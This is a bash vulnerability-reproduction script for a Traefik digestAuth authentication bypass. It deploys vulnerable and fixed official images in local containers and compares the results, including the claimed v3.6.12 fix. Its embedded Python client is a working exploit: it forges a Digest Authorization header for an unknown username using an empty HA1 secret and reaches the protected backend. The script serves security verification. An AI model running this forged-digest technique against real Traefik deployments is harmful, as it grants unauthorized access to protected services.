#!/bin/bash
# Reproduction: GHSA-24qw-84q9-39wj / digestAuth authentication bypass in Traefik
#
# Traefik's digestAuth middleware secret provider (pkg/middlewares/auth/digest_auth.go,
# secretDigest()) returns an empty string for a username that is absent from the
# configured htdigest user list. The pinned github.com/containous/go-http-auth fork
# (a37a7636) CheckAuth() treated that empty string as a valid HA1 secret. Every other
# digest input (realm, nonce, opaque, uri, nc, cnonce, qop, method) is either chosen
# by the client or handed to it in the 401 challenge, so a remote unauthenticated
# attacker can forge a valid response for an arbitrary unknown username with
# HA1 == "" and reach any digestAuth-protected route.
#
# Fix: containous/go-http-auth b975dcaa8c48 makes CheckAuth reject HA1 == ""; pulled
# into Traefik by commit 2116686308a2518bf1851a39eeec738f1e901195 ("Bump
# github.com/containous/go-http-auth to b975dcaa8c48"), first released in v2.11.55.
# NOTE: no v3.6.x tag contains that fix (first v3 tag containing it is v3.7.11), so
# the ticket's "Fixed in ... v3.6.12" is tested empirically below as well.
#
# This script deploys the REAL product (official Traefik docker images) behind a real
# HTTP endpoint, protects a route with the real digestAuth middleware, and sends the
# actual attacker-controlled request through it.
#
# Exit 0 = issue confirmed (auth bypass on vulnerable images, rejection on fixed images)
# Exit 1 = not reproduced / sanity failure
# Exit 2 = infrastructure missing (docker unavailable)

set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
CONF="$REPRO_DIR/conf"
ART="$REPRO_DIR/artifacts/http"
mkdir -p "$LOGS" "$CONF" "$ART"

RUN_LOG="$LOGS/reproduction_steps.log"
exec > >(tee -a "$RUN_LOG") 2>&1

NET="pruva-digest-net"
BASE_PORT=18100
FIX_COMMIT="2116686308a2518bf1851a39eeec738f1e901195"
VULN_IMAGE="traefik:v2.11.54"             # primary vulnerable target (ticket: affected < v2.11.55)
FIXED_IMAGE="traefik:v2.11.55"            # fixed negative control (contains FIX_COMMIT)
VULN_V3_IMAGE="traefik:v3.6.11"           # v3 line affected per ticket (< v3.6.12)
TICKET_FIXED_V3_IMAGE="traefik:v3.6.12"   # ticket claims fixed; git shows fix NOT in this tag
FIXED_V3_IMAGE="traefik:v3.7.11"          # first v3 tag containing FIX_COMMIT
BACKEND_IMAGE="python:3-alpine"

log() { printf '[repro] %s\n' "$*"; }

# ---------------------------------------------------------------------------
# 0. Infrastructure checks
# ---------------------------------------------------------------------------
write_failed_manifest() {
    local reason="$1"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$reason" <<'PYEOF'
import json
import sys
out, reason = sys.argv[1], sys.argv[2]
m = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "HTTP request to a digestAuth-protected Traefik route (not reached)",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": False,
    "runtime_stack": [],
    "proof_artifacts": [],
    "notes": "reproduction aborted before service start: " + reason,
}
with open(out, "w") as f:
    json.dump(m, f, indent=2)
PYEOF
}

if ! command -v docker >/dev/null 2>&1; then
    log "FATAL: docker CLI not available"
    write_failed_manifest "docker CLI not available"
    exit 2
fi
if ! timeout 30 docker info >/dev/null 2>&1; then
    log "FATAL: docker daemon not reachable"
    write_failed_manifest "docker daemon not reachable"
    exit 2
fi

# ---------------------------------------------------------------------------
# 1. Project cache context (repo checkout location policy)
# ---------------------------------------------------------------------------
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(python3 -c '
import json
try:
    d = json.load(open("'"$ROOT"'/project_cache_context.json"))
    print(d.get("project_cache_dir") or "" if d.get("prepared") else "")
except Exception:
    print("")' || true)
fi
log "project cache dir: ${CACHE_DIR:-<none>}"

# ---------------------------------------------------------------------------
# 2. Supplementary git source verification (non-gating): prove the fix is absent
#    from the vulnerable checkout and present in the fixed checkout.
# ---------------------------------------------------------------------------
GIT_LOG="$LOGS/git_source_verification.log"
{
    echo "== GHSA digest-auth fix source verification =="
    echo "fix commit: $FIX_COMMIT (Bump github.com/containous/go-http-auth to b975dcaa8c48)"
    REPO=""
    if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo-mirrors/traefik.git" ]; then
        REPO="$CACHE_DIR/repo-mirrors/traefik.git"
        echo "using cached repo mirror: $REPO"
    elif [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo-mirrors" ]; then
        if timeout 180 git clone --filter=blob:none --no-checkout https://github.com/traefik/traefik.git "$CACHE_DIR/repo-mirrors/traefik.git" >/dev/null 2>&1; then
            REPO="$CACHE_DIR/repo-mirrors/traefik.git"
            echo "cloned fresh repo mirror: $REPO"
        fi
    fi
    if [ -n "$REPO" ]; then
        for t in v2.11.54 v2.11.55 v3.6.11 v3.6.12 v3.7.11; do
            sha=$(git -C "$REPO" rev-parse "$t" 2>/dev/null || echo "unresolved")
            if git -C "$REPO" merge-base --is-ancestor "$FIX_COMMIT" "$t" 2>/dev/null; then contains="YES"; else contains="NO"; fi
            fork=$(git -C "$REPO" show "$t":go.mod 2>/dev/null | grep 'containous/go-http-auth' | tr -d '\t' || true)
            echo "tag $t commit=$sha contains_fix_commit=$contains fork_pin=$fork"
        done
        echo "== fork fix hunk (a37a7636d23e -> b975dcaa8c48, digest.go) =="
        if [ -d "$CACHE_DIR/repo-mirrors/go-http-auth.git" ]; then
            git -C "$CACHE_DIR/repo-mirrors/go-http-auth.git" diff a37a7636d23e b975dcaa8c48 -- digest.go 2>/dev/null || true
        else
            echo "(go-http-auth mirror not cached; fork fix adds: if HA1 == \"\" { return \"\", nil } in CheckAuth)"
        fi
    else
        echo "WARNING: repo mirror unavailable; skipping git source verification (docker runtime proof is primary)"
    fi
} > "$GIT_LOG" 2>&1 || true
log "git source verification written to $GIT_LOG"

# ---------------------------------------------------------------------------
# 3. Images
# ---------------------------------------------------------------------------
for img in "$VULN_IMAGE" "$FIXED_IMAGE" "$VULN_V3_IMAGE" "$TICKET_FIXED_V3_IMAGE" "$FIXED_V3_IMAGE" "$BACKEND_IMAGE"; do
    if ! docker image inspect "$img" >/dev/null 2>&1; then
        log "pulling $img ..."
        timeout 300 docker pull "$img" >/dev/null
    fi
done
log "all images present"

# ---------------------------------------------------------------------------
# 4. Runtime configs (all created by this script at runtime; self-contained)
# ---------------------------------------------------------------------------
cat > "$CONF/traefik.yml" <<'EOF'
log:
  level: INFO
entryPoints:
  web:
    address: ":80"
providers:
  file:
    filename: /etc/traefik/dyn.yml
    watch: false
EOF

cat > "$CONF/dyn.yml" <<'EOF'
http:
  routers:
    protected:
      rule: "PathPrefix(`/protected`)"
      entryPoints:
        - web
      service: backend
      middlewares:
        - digest-auth
    open:
      rule: "PathPrefix(`/open`)"
      entryPoints:
        - web
      service: backend
  services:
    backend:
      loadBalancer:
        servers:
          - url: "http://digest-backend:9000"
  middlewares:
    digest-auth:
      digestAuth:
        usersFile: /etc/traefik/users.htdigest
        removeHeader: true
EOF

# htdigest entry: user "test", realm "traefik" (Traefik default), password "secret"
python3 -c "import hashlib; print('test:traefik:' + hashlib.md5(b'test:traefik:secret').hexdigest())" > "$CONF/users.htdigest"

cat > "$CONF/backend_server.py" <<'EOF'
import http.server
import sys


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = b"PROTECTED-BACKEND-RESOURCE-OK\n"
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *a):
        sys.stdout.write("BACKEND: " + (fmt % a) + "\n")
        sys.stdout.flush()


if __name__ == "__main__":
    http.server.HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
EOF

# Attacker client: obtains the 401 challenge from the running service, then forges
# a digest response for an UNKNOWN username using the empty HA1 secret that the
# vulnerable secretDigest() returns for users missing from the htdigest list.
cat > "$CONF/exploit_client.py" <<'EOF'
import hashlib
import http.client
import json
import re
import sys

URI = "/protected/"
USERNAME_UNKNOWN = "attacker-unknown-user"
VALID_HA1 = hashlib.md5(b"test:traefik:secret").hexdigest()
WRONG_HA1 = hashlib.md5(b"test:traefik:wrongpass").hexdigest()


def md5(s):
    return hashlib.md5(s.encode()).hexdigest()


def request(port, uri, auth=None):
    conn = http.client.HTTPConnection("127.0.0.1", port, timeout=10)
    headers = {"Host": "digest.example.com"}
    if auth:
        headers["Authorization"] = auth
    conn.request("GET", uri, headers=headers)
    r = conn.getresponse()
    body = r.read().decode(errors="replace")
    rh = r.getheaders()
    status = r.status
    conn.close()
    return status, rh, body


def transcript(fh, title, auth, status, rh, body):
    fh.write("=== %s ===\n" % title)
    fh.write("> GET %s HTTP/1.1\n" % URI)
    if auth:
        fh.write("> Authorization: %s\n" % auth)
    fh.write("< HTTP/1.1 %d\n" % status)
    for k, v in rh:
        fh.write("< %s: %s\n" % (k, v))
    fh.write("< body: %r\n\n" % body)


def digest_header(username, ha1, realm, nonce, opaque, nc, cnonce="83cfda9a", qop="auth"):
    # RFC 2616 MD5 digest with qop=auth:
    #   response = MD5(HA1:nonce:nc:cnonce:qop:MD5(method:uri))
    # The vulnerable server resolves HA1 to "" for unknown usernames.
    ha2 = md5("GET:" + URI)
    response = md5(":".join([ha1, nonce, nc, cnonce, qop, ha2]))
    return (
        'Digest username="%s", realm="%s", nonce="%s", uri="%s", '
        'algorithm=MD5, qop=%s, nc=%s, cnonce="%s", response="%s", opaque="%s"'
        % (username, realm, nonce, URI, qop, nc, cnonce, response, opaque)
    )


def main():
    port = int(sys.argv[1])
    transcript_path, results_path = sys.argv[2], sys.argv[3]
    out = open(transcript_path, "w")
    res = {"uri": URI, "port": port, "unknown_username": USERNAME_UNKNOWN}

    # 1) challenge: no credentials
    st, rh, body = request(port, URI)
    www = ""
    for k, v in rh:
        if k.lower() == "www-authenticate":
            www = v
    transcript(out, "step1 challenge request (no credentials)", None, st, rh, body)
    if st != 401 or "nonce" not in www:
        out.close()
        res["error"] = "unexpected challenge response: %d %r" % (st, www)
        json.dump(res, open(results_path, "w"), indent=2)
        print("CHALLENGE-FAILED %d" % st)
        return 2
    params = dict(re.findall(r'(\w+)="([^"]*)"', www))
    realm, nonce, opaque = params["realm"], params["nonce"], params["opaque"]
    res["challenge"] = {"status": st, "realm": realm, "nonce": nonce, "opaque": opaque}

    # 2) ATTACK: forged digest for an UNKNOWN username; server-side HA1 secret is ""
    auth = digest_header(USERNAME_UNKNOWN, "", realm, nonce, opaque, "00000001")
    st2, rh2, body2 = request(port, URI, auth)
    transcript(out, "step2 ATTACK forged digest, unknown username, empty HA1 secret", auth, st2, rh2, body2)
    res["bypass"] = {"status": st2, "body": body2.strip()}

    # 3) sanity: known user with correct password
    auth_v = digest_header("test", VALID_HA1, realm, nonce, opaque, "00000002")
    st3, rh3, body3 = request(port, URI, auth_v)
    transcript(out, "step3 sanity: known user, correct password", auth_v, st3, rh3, body3)
    res["valid_credentials"] = {"status": st3, "body": body3.strip()}

    # 4) sanity: known user with wrong password
    auth_w = digest_header("test", WRONG_HA1, realm, nonce, opaque, "00000003")
    st4, rh4, body4 = request(port, URI, auth_w)
    transcript(out, "step4 sanity: known user, wrong password", auth_w, st4, rh4, body4)
    res["wrong_password"] = {"status": st4}

    out.close()
    json.dump(res, open(results_path, "w"), indent=2)
    print("RESULT bypass=%d valid=%d wrong=%d" % (st2, st3, st4))
    return 0


if __name__ == "__main__":
    sys.exit(main())
EOF
log "configs and attacker client written to $CONF"

# ---------------------------------------------------------------------------
# 5. Cleanup, network, backend
# ---------------------------------------------------------------------------
CONTAINERS="pruva-digest-backend
pruva-traefik-vuln_primary-1 pruva-traefik-vuln_primary-2
pruva-traefik-fixed_primary-1 pruva-traefik-fixed_primary-2
pruva-traefik-vuln_v3-1 pruva-traefik-vuln_v3-2
pruva-traefik-claimed_fixed_v3-1 pruva-traefik-claimed_fixed_v3-2
pruva-traefik-fixed_v3_control-1 pruva-traefik-fixed_v3_control-2"
cleanup() {
    for c in $CONTAINERS; do
        docker rm -f "$c" >/dev/null 2>&1 || true
    done
    docker network rm "$NET" >/dev/null 2>&1 || true
}
trap cleanup EXIT
cleanup
docker network create "$NET" >/dev/null

# backend container (real HTTP service the protected router forwards to)
docker create --name pruva-digest-backend --network "$NET" --network-alias digest-backend "$BACKEND_IMAGE" python /srv/backend_server.py >/dev/null
docker cp "$CONF/backend_server.py" pruva-digest-backend:/srv/backend_server.py >/dev/null
docker start pruva-digest-backend >/dev/null
sleep 2
BACKEND_PROBE=$(timeout 30 docker run --rm --network "$NET" "$VULN_IMAGE" wget -q -O- -T 5 http://digest-backend:9000/open/x 2>/dev/null || true)
if [ "$BACKEND_PROBE" != "PROTECTED-BACKEND-RESOURCE-OK" ]; then
    log "FATAL: backend service not healthy (probe: $BACKEND_PROBE)"
    write_failed_manifest "protected backend service failed to start"
    exit 1
fi
SERVICE_STARTED=true
log "backend healthy on docker network $NET"

# ---------------------------------------------------------------------------
# 6. Attack matrix: 2 clean attempts per image, fresh container each attempt
# ---------------------------------------------------------------------------
HEALTHCHECK_OK=true
FAILED=0

run_attempt() {
    local role="$1" image="$2" attempt="$3" port="$4"
    local cname="pruva-traefik-${role}-${attempt}"
    local ver="${image#traefik:}"
    local tfile="$ART/${role}_v${ver}_attempt${attempt}.txt"
    local rfile="$ART/${role}_v${ver}_attempt${attempt}.json"
    log "attempt: role=$role image=$image attempt=$attempt port=$port"

    docker create --name "$cname" --network "$NET" -p "127.0.0.1:${port}:80" "$image" >/dev/null
    # the traefik image ships without /etc/traefik; copying the whole conf dir
    # creates it (traefik.yml -> /etc/traefik/traefik.yml, dyn.yml -> /etc/traefik/dyn.yml,
    # users.htdigest -> /etc/traefik/users.htdigest)
    docker cp "$CONF" "$cname:/etc/traefik" >/dev/null
    docker start "$cname" >/dev/null

    # readiness: wait for the router to serve the unprotected route (200) so a
    # healthcheck probe cannot race the service startup
    local ready=000 i
    for i in $(seq 1 40); do
        ready=$(timeout 10 curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${port}/open/x" || true)
        [ "$ready" = "200" ] && break
        sleep 0.5
    done

    # healthcheck: unprotected route answers 200, protected route challenges with
    # 401 (real service up, digestAuth middleware active)
    local hc_open hc_401
    hc_open=$ready
    hc_401=$(timeout 30 curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${port}/protected/" || echo 000)
    log "healthcheck role=$role attempt=$attempt open=$hc_open protected_noauth=$hc_401"
    if [ "$hc_open" != "200" ] || [ "$hc_401" != "401" ]; then
        log "healthcheck FAILED for $role attempt $attempt (open=$hc_open protected=$hc_401)"
        python3 -c '
import json, sys
json.dump({"role": sys.argv[1], "image": sys.argv[2], "attempt": int(sys.argv[3]),
           "error": "healthcheck failed", "healthcheck": {"open": sys.argv[4], "protected_noauth": sys.argv[5]}},
          open(sys.argv[6], "w"), indent=2)' \
            "$role" "$image" "$attempt" "$hc_open" "$hc_401" "$rfile"
        docker rm -f "$cname" >/dev/null 2>&1 || true
        return 1
    fi

    # the actual attacker request through the real HTTP endpoint
    timeout 60 python3 "$CONF/exploit_client.py" "$port" "$tfile" "$rfile"
    local rc=$?
    # tag the per-attempt result with its identity
    python3 -c '
import json, sys
p = sys.argv[1]
d = json.load(open(p))
d["role"], d["image"], d["attempt"] = sys.argv[2], sys.argv[3], int(sys.argv[4])
json.dump(d, open(p, "w"), indent=2)' "$rfile" "$role" "$image" "$attempt"
    docker rm -f "$cname" >/dev/null 2>&1 || true
    return "$rc"
}

ATTEMPT_RESULTS="$REPRO_DIR/exploit_results.json"
port=$BASE_PORT
for spec in \
    "vuln_primary|$VULN_IMAGE|expect_bypass" \
    "fixed_primary|$FIXED_IMAGE|expect_block" \
    "vuln_v3|$VULN_V3_IMAGE|expect_bypass" \
    "claimed_fixed_v3|$TICKET_FIXED_V3_IMAGE|expect_block_per_ticket" \
    "fixed_v3_control|$FIXED_V3_IMAGE|expect_block"; do
    role="${spec%%|*}"; rest="${spec#*|}"; image="${rest%%|*}"
    for attempt in 1 2; do
        port=$((port + 1))
        if ! run_attempt "$role" "$image" "$attempt" "$port"; then
            FAILED=1
        fi
    done
done

# ---------------------------------------------------------------------------
# 7. Evaluate results
# ---------------------------------------------------------------------------
python3 - "$ART" "$ATTEMPT_RESULTS" <<'PYEOF'
import glob
import json
import os
import sys

art_dir, out_path = sys.argv[1], sys.argv[2]
per_attempt = {}
for p in sorted(glob.glob(os.path.join(art_dir, "*.json"))):
    with open(p) as f:
        d = json.load(f)
    per_attempt["%s#%s" % (d.get("role", "?"), d.get("attempt", "?"))] = d


def bypass_status(role, attempt):
    return per_attempt.get("%s#%d" % (role, attempt), {}).get("bypass", {}).get("status")


def sanity_triple(role, attempt):
    d = per_attempt.get("%s#%d" % (role, attempt), {})
    return (
        d.get("valid_credentials", {}).get("status"),
        d.get("wrong_password", {}).get("status"),
        d.get("challenge", {}).get("status"),
    )


def ok_vuln(role):
    s = [bypass_status(role, a) for a in (1, 2)]
    v = [sanity_triple(role, a) for a in (1, 2)]
    return all(x == 200 for x in s) and all(v == (200, 401, 401) for v in v)


def ok_fixed(role):
    s = [bypass_status(role, a) for a in (1, 2)]
    v = [sanity_triple(role, a) for a in (1, 2)]
    return all(x == 401 for x in s) and all(v == (200, 401, 401) for v in v)


summary = {
    "per_attempt": {
        k: {
            "image": v.get("image"),
            "attempt": v.get("attempt"),
            "bypass_status": v.get("bypass", {}).get("status"),
            "bypass_body": v.get("bypass", {}).get("body"),
            "valid_status": v.get("valid_credentials", {}).get("status"),
            "wrong_password_status": v.get("wrong_password", {}).get("status"),
            "error": v.get("error"),
        }
        for k, v in sorted(per_attempt.items())
    },
    "primary_vulnerable_bypassed": ok_vuln("vuln_primary"),
    "primary_fixed_blocks": ok_fixed("fixed_primary"),
    "v3_affected_bypassed": ok_vuln("vuln_v3"),
    "ticket_claimed_fixed_v3_6_12_actually_fixed": ok_fixed("claimed_fixed_v3"),
    "v3_7_11_blocks": ok_fixed("fixed_v3_control"),
}
summary["confirmed"] = (
    summary["primary_vulnerable_bypassed"]
    and summary["primary_fixed_blocks"]
    and summary["v3_affected_bypassed"]
)
with open(out_path, "w") as f:
    json.dump(summary, f, indent=2)
print(json.dumps(summary["per_attempt"], indent=2))
print("PRIMARY_VULN_BYPASSED:", summary["primary_vulnerable_bypassed"])
print("PRIMARY_FIXED_BLOCKS:", summary["primary_fixed_blocks"])
print("V3_AFFECTED_BYPASSED:", summary["v3_affected_bypassed"])
print("TICKET_V3_6_12_ACTUALLY_FIXED:", summary["ticket_claimed_fixed_v3_6_12_actually_fixed"])
print("V3_7_11_BLOCKS:", summary["v3_7_11_blocks"])
print("CONFIRMED:", summary["confirmed"])
PYEOF

CONFIRMED=$(python3 -c 'import json;print(json.load(open("'"$ATTEMPT_RESULTS"'"))["confirmed"])' || echo False)
TICKET_V3_FIXED=$(python3 -c 'import json;print(json.load(open("'"$ATTEMPT_RESULTS"'"))["ticket_claimed_fixed_v3_6_12_actually_fixed"])' || echo False)

if [ "$TICKET_V3_FIXED" != "True" ]; then
    log "NOTE: ticket claims v3.6.12 is fixed, but the forged digest still succeeds against traefik:v3.6.12 (matches git: fix commit $FIX_COMMIT is absent from all v3.6.x tags; first fixed v3 tag is v3.7.11)."
fi

# ---------------------------------------------------------------------------
# 8. Runtime manifest (strict JSON, written before exit; only finalized files)
# ---------------------------------------------------------------------------
VULN_DIGEST=$(docker image inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE" | sed 's/.*@//')
FIXED_DIGEST=$(docker image inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE" | sed 's/.*@//')
V311_DIGEST=$(docker image inspect --format '{{index .RepoDigests 0}}' "$VULN_V3_IMAGE" | sed 's/.*@//')
V312_DIGEST=$(docker image inspect --format '{{index .RepoDigests 0}}' "$TICKET_FIXED_V3_IMAGE" | sed 's/.*@//')
V3711_DIGEST=$(docker image inspect --format '{{index .RepoDigests 0}}' "$FIXED_V3_IMAGE" | sed 's/.*@//')
ARCH=$(docker image inspect --format '{{.Architecture}}' "$VULN_IMAGE")

python3 - "$REPRO_DIR/runtime_manifest.json" "$ART" "$ATTEMPT_RESULTS" "$GIT_LOG" \
    "$VULN_DIGEST" "$FIXED_DIGEST" "$V311_DIGEST" "$V312_DIGEST" "$V3711_DIGEST" \
    "$ARCH" "$VULN_IMAGE" "$FIXED_IMAGE" "$VULN_V3_IMAGE" "$TICKET_FIXED_V3_IMAGE" "$FIXED_V3_IMAGE" \
    "$CONFIRMED" "$SERVICE_STARTED" "$HEALTHCHECK_OK" "$FIX_COMMIT" <<'PYEOF'
import hashlib
import json
import os
import sys

(out, art, results, gitlog,
 vuln_d, fixed_d, v311_d, v312_d, v3711_d,
 arch, vuln_img, fixed_img, v311_img, v312_img, v3711_img,
 confirmed, service_started, healthcheck_ok, fix_commit) = sys.argv[1:20]

confirmed = confirmed == "True"
service_started = service_started == "true"
healthcheck_ok = healthcheck_ok == "true"

repro_dir = os.path.dirname(out)
bundle_root = os.path.dirname(repro_dir)

proof = []
for name in sorted(os.listdir(art)):
    if name.endswith((".txt", ".json")):
        proof.append("repro/artifacts/http/" + name)
proof.append("repro/exploit_results.json")
proof.append("logs/git_source_verification.log")

sha = {}
for rel in proof:
    p = os.path.normpath(os.path.join(bundle_root, rel))
    with open(p, "rb") as f:
        sha[rel] = hashlib.sha256(f.read()).hexdigest()

notes = (
    "digestAuth authentication bypass proven through the real Traefik HTTP endpoint. "
    "A forged Digest Authorization header for an unknown username with empty HA1 secret "
    "reached the protected backend (HTTP 200 PROTECTED-BACKEND-RESOURCE-OK) on %s and %s; "
    "the fixed images %s and %s reject it with 401. Sanity on every image: valid "
    "credentials -> 200, wrong password -> 401, so the middleware and digest math are "
    "exercised normally. The ticket claims v3.6.12 is fixed, but the forged digest still "
    "succeeds against %s (image digest %s); git shows fix commit %s is absent from all "
    "v3.6.x tags and was first released in v2.11.55 (v2 line) and v3.7.11 (v3 line). "
    "Tag->commit mapping: v2.11.54=1e8e8c200cce5fbd1fff8579e5e9dc0311a8a54a (vulnerable), "
    "v2.11.55=1ac90fccb982f6de40f557493152bdb0c9f0a809 (contains fix), "
    "v3.6.11=33219a0af86c41a8db81d37c444f65172bfb3e35 (vulnerable), "
    "v3.6.12=b782bd32d444af99d76e5f87970b02a9aa80ba97 (vulnerable), "
    "v3.7.11 contains fix. Image repo digests: %s=%s, %s=%s, %s=%s, %s=%s, %s=%s."
) % (
    vuln_img, v311_img, fixed_img, v3711_img, v312_img, v312_d, fix_commit,
    vuln_img, vuln_d, fixed_img, fixed_d, v311_img, v311_d, v312_img, v312_d, v3711_img, v3711_d,
)

manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "HTTP GET /protected/ on a digestAuth-protected Traefik router (file provider config, entrypoint web :80) with a forged Digest Authorization header for an unknown username",
    "service_started": service_started,
    "healthcheck_passed": healthcheck_ok,
    "target_path_reached": confirmed,
    "runtime_stack": [
        "docker-engine",
        vuln_img + " (primary vulnerable target)",
        v311_img + " (v3-line vulnerable)",
        fixed_img + " (fixed negative control, contains fix commit " + fix_commit[:12] + ")",
        v3711_img + " (first fixed v3 tag)",
        v312_img + " (ticket-claimed fixed v3, empirically still vulnerable)",
        "python:3-alpine (protected backend service)",
    ],
    "target_identity": {
        "repository_url": "https://github.com/traefik/traefik",
        "target_digest": vuln_d,
        "runtime_digest": vuln_d,
        "platform": "linux",
        "architecture": arch,
    },
    "proof_artifacts": proof,
    "artifact_sha256": sha,
    "notes": notes,
}

with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
print("runtime manifest written:", out)
PYEOF

log "image repo digests: $VULN_IMAGE=$VULN_DIGEST $FIXED_IMAGE=$FIXED_DIGEST $VULN_V3_IMAGE=$V311_DIGEST $TICKET_FIXED_V3_IMAGE=$V312_DIGEST $FIXED_V3_IMAGE=$V3711_DIGEST"

if [ "$CONFIRMED" = "True" ] && [ "$FAILED" = "0" ]; then
    log "VERDICT: CONFIRMED - digestAuth authentication bypass reproduced end-to-end on the real product"
    exit 0
fi
log "VERDICT: NOT CONFIRMED (see $ATTEMPT_RESULTS and $RUN_LOG)"
exit 1
